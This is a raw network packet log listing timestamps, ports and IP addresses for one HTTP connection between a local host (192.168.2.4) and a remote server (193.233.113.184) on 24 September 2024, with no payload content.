Sep 24, 2024 21:30:11.748275042 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.748285055 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.748316050 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.748333931 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.748348951 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.748367071 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.748383045 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.748404026 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.748425007 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.748435020 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.748461962 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.748471975 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.748507023 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.748513937 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.748552084 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.748871088 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.748925924 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.748933077 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.748960972 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.748977900 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.748995066 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.749015093 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.749028921 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.749041080 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.749063969 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.749074936 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.749109030 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.749183893 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.749217033 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.749243021 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.749252081 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.749259949 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.749315023 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.749356985 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.749391079 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.749417067 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.749423027 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.749456882 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.749475002 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.749491930 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.749494076 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.749494076 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.749540091 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.750022888 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.750072956 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.750078917 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.750102997 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.750116110 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.750155926 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.750170946 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.750205994 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.750216961 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.750241041 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.750258923 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.750276089 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.750309944 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.750335932 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.750379086 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.750783920 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.750832081 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.750837088 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.750871897 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.750884056 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.750909090 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.750909090 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.750943899 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.750952959 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.750987053 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.750988007 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.751027107 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.751045942 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.751071930 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.751112938 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.751147032 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.751159906 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.751200914 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.751213074 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.751246929 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.751264095 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.751281023 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.751287937 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.751328945 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.751383066 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.751439095 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.751446962 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.751482010 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.752027035 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.752055883 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.752069950 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.752074957 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.752094030 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.752111912 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.752151012 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.752166033 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.752181053 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.752193928 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.752197027 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.752229929 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.752262115 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.752306938 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.752351999 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.830243111 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.830296040 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.830327988 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.830348969 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.830349922 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.830383062 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.830394983 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.830415964 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.830426931 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.830467939 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.830470085 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.830503941 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.830516100 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.830539942 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.830545902 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.830589056 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.831597090 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.831650019 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.831655025 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.831685066 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.831693888 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.831736088 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.831779957 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.831814051 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.831825972 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.831849098 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.831859112 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.831901073 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.831914902 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.831970930 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.832029104 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.832062960 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.832082987 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.832092047 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.832103014 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.832125902 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.832133055 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.832160950 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.832170963 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.832196951 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.832201958 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.832231045 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.832237005 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.832277060 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.832354069 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.832403898 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.832808971 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.832861900 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.832864046 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.832901955 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.832911015 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.832945108 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.833029032 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.833061934 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.833077908 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.833096027 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.833107948 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.833129883 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.833143950 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.833162069 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.833184958 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.833216906 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.833311081 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.833367109 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.833374977 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.833405018 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.833420038 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.833446980 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.833487988 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.833519936 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.833535910 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.833553076 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.833564043 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.833601952 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.833653927 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.833686113 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.833709955 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.833719969 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.833724976 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.833750010 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.833766937 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.833796978 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.833842993 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.833877087 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.833892107 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.833909035 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.833910942 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.833957911 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.834007025 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.834038973 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.834053993 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.834074974 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.834076881 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.834105015 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.834124088 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.834146023 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.835016012 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.835048914 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.835073948 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.835083961 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.835088968 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.835129976 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.835136890 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.835170031 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.835179090 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.835203886 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.835208893 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.835241079 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.835249901 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.835280895 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.835310936 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.835355043 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.835361958 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.835402012 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.835429907 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.835470915 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.835483074 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.835515976 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.835525036 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.835565090 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.835572958 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.835602045 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.835612059 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.835637093 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.835654020 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.835684061 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.836473942 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.836524010 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.836528063 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.836571932 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.836596012 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.836628914 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.836635113 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.836668968 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.836679935 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.836704969 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.836719036 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.836740017 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.836755037 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.836775064 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.836781025 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.836817026 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.836857080 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.836888075 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.836900949 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.836929083 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.836940050 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.836973906 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.836985111 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.837011099 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.837018967 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.837045908 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.837055922 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.837085009 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.837093115 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.837136984 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.837615967 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.837645054 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.837663889 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.837681055 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.837694883 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.837728977 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.837740898 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.837770939 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.837780952 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.837815046 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.837830067 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.837856054 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.837860107 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.837891102 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.837909937 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.837925911 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.837935925 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.837968111 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.837980032 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.838012934 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.838022947 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.838047028 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.838052988 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.838082075 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.838092089 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.838123083 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.838181973 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.838216066 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.838229895 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.838253975 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.838781118 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.838834047 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.838835001 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.838864088 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.838880062 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.838906050 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.838916063 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.838949919 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.838958979 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.838983059 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.838992119 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.839019060 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.839026928 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.839055061 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.839060068 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.839098930 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.839294910 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.839345932 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.839345932 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.839375973 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.839396954 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.839421988 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.839463949 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.839508057 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.839518070 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.839553118 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.839561939 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.839586973 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.839591980 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.839621067 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.839632988 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.839659929 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.839679003 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.839718103 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.839724064 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.839755058 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.839766979 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.839788914 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.839792013 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.839822054 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.839828968 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.839854002 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.839858055 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.839889050 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.839899063 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.839920998 CEST	80	49730	193.233.113.184	192.168.2.4
